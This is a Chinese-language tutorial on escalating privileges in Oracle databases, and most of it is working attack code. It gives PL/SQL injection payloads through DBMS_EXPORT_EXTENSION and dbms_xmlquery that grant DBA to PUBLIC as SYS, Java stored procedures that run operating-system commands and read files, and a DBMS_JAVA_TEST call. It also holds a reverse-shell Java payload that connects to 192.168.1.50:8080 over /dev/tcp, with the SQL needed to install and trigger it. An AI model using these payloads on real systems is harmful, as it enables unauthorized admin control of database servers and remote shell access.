Oracle数据库提权
一、执行java代码
简介
oracle提权漏洞集中存在于PL/SQL编写的函数、存储过程、包、触发器中。oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者权限)。定义者权限给了低权限用户在特定时期拥有高权限的可能,这就给提权操作奠定了基础。
即无论调用者权限如何,执行存储过程的结果权限永远为定义者的权限。因此,如果一个较高权限的用户定义了存储过程,并赋予了低权限用户调用权限,较低权限的用户即可利用这个存储过程提权。
Java具有一组非常强大的标准库,oracle数据库支持使用Java来编写存储过程,那么攻击者就可以通过这一特性,在系统上执行Java代码,从而完成提权操作。
oracle执行Java代码的过程(以DBMS_EXPORT_EXTENSION()为例)**
1、创建Java库
2、赋予Java权限
3、创建函数
4、赋予函数执行权限
5、执行
二、命令执行提升权限
共有三种方法来命令执行
1、DBMS_EXPORT_EXTENSION()
DBMS_EXPORT_EXTENSION是一个输出扩展功能包,其中存在三个危险函数,get_domian_index_metadata,get_v2_domain_index_tables,get_domain_index_tables。都是以sys权限定义,默认低权限用户可以调用。
影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
提权:该请求将导致查询"GRANT DBA TO PUBLIC"以SYS身份执行。 因为这个函数允许PL / SQL缺陷(PL / SQL注入)。一旦这个请求成功执行,PUBLIC获取DBA角色,从而提升当前user的特权。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘grant dba to public‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
(1) 创建Java库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
(2) 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘begin dbms_java.grant_permission(‘‘‘‘‘‘‘‘PUBLIC‘‘‘‘‘‘‘‘, ‘‘‘‘‘‘‘‘SYS:java.io.FilePermission‘‘‘‘‘‘‘‘,‘‘‘‘‘‘‘‘<>‘‘‘‘‘‘‘‘, ‘‘‘‘‘‘‘‘execute‘‘‘‘‘‘‘‘);end;‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
(3) 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name‘‘‘‘‘‘‘‘LinxUtil.runCMD(java.lang.String) return String‘‘‘‘‘‘‘‘;‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
(4) 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘grant all on LinxRunCMD to public‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
(5) 执行
select sys.LinxRunCMD(‘/bin/bash -c /usr/bin/whoami‘) from dual
2、dbms_xmlquery.newcontext()
它的利用过程需要DBMS_EXPORT_EXTENSION存在漏洞的情况下才可以成功。当DBMS_EXPORT_EXTENSION漏洞修复时,将无法使用该函数进行提权。其原理和操作过程与DBMS_EXPORT_EXTENSION类似。
影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
(1) 创建java包
select dbms_xmlquery.newcontext(‘declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ‘‘create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}‘‘;commit;end;‘) from dual;
通过以下命令可以查看all_objects内部改变:
select * from all_objects where object_name like ‘%LINX%‘ or object_name like ‘%Linx%‘
(2) 赋予当前用户java权限
--当前用户查看select user from dual?select dbms_xmlquery.newcontext(‘declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ‘‘begin dbms_java.grant_permission( ‘‘‘‘SYSTEM‘‘‘‘, ‘‘‘‘SYS:java.io.FilePermission‘‘‘‘, ‘‘‘‘<<ALL FILES>>‘‘‘‘,‘‘‘‘EXECUTE‘‘‘‘);end;‘‘commit;end;‘) from dual;
查看可用的java权限列表,通过以下命令查看赋权情况
select * from user_java_policy where grantee_name=‘YY‘;
(3) 创建函数
select dbms_xmlquery.newcontext(‘declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ‘‘create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘‘‘‘LinxUtil.runCMD(java.lang.String) return String‘‘‘‘; ‘‘;commit;end;‘) from dual;
判断是否创建成功
select OBJECT_ID from all_objects where object_name =‘LINXRUNCMD‘
也可通过查看all_objects内部改变判断
select * from all_objects where object_name like ‘%LINX%‘ or object_name like ‘%Linx%‘
若想删除创建的函数,通过以下命令删除
drop function LinxRunCMD
(4) 执行
select LinxRUNCMD(‘whoami‘) from dual;
3、DBMS_JAVA_TEST.FUNCALL()
影响版本:10g R2,11g R1,11g R2
需要拥有Java代码执行权限
直接调用:select
Select DBMS_JAVA_TEST.FUNCALL(‘oracle/aurora/util/Wrapper‘,‘main‘,‘/bin/bash‘,‘-c‘,‘pwd > /tmp/pwd.txt‘) from dual;
会显示报错
三、反弹shell
在提权操作中如果遇到无回显情况,可以通过反弹shell的方式,在自己的vps上监听端口,以此来执行交互式命令,java代码:
import java.io.*;import java.net.*;public class shellRev{ public static void main(String[] args) { System.out.println(1); try{run();} catch(Exception e){} }public static void run() throws Exception { String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"}; Process p=Runtime.getRuntime().exec(aaa); }}
# 编译javac shellRev.java# 执行java shellRev
1. 创建java代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
2. 赋予java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘begin dbms_java.grant_permission( ‘‘‘‘‘‘‘‘PUBLIC‘‘‘‘‘‘‘‘, ‘‘‘‘‘‘‘‘SYS:java.net.SocketPermission‘‘‘‘‘‘‘‘, ‘‘‘‘‘‘‘‘<>‘‘‘‘‘‘‘‘, ‘‘‘‘‘‘‘‘*‘‘‘‘‘‘‘‘ );end;‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
3. 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘create or replace function reversetcp RETURN VARCHAR2 as language java name ‘‘‘‘‘‘‘‘shell.run() return String‘‘‘‘‘‘‘‘; ‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
4. 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO‘,‘BAR‘,‘DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ‘‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘‘‘‘grant all on reversetcp to public‘‘‘‘;END;‘‘;END;--‘,‘SYS‘,0,‘1‘,0) from dual
5. 反弹shell
select sys.reversetcp from dual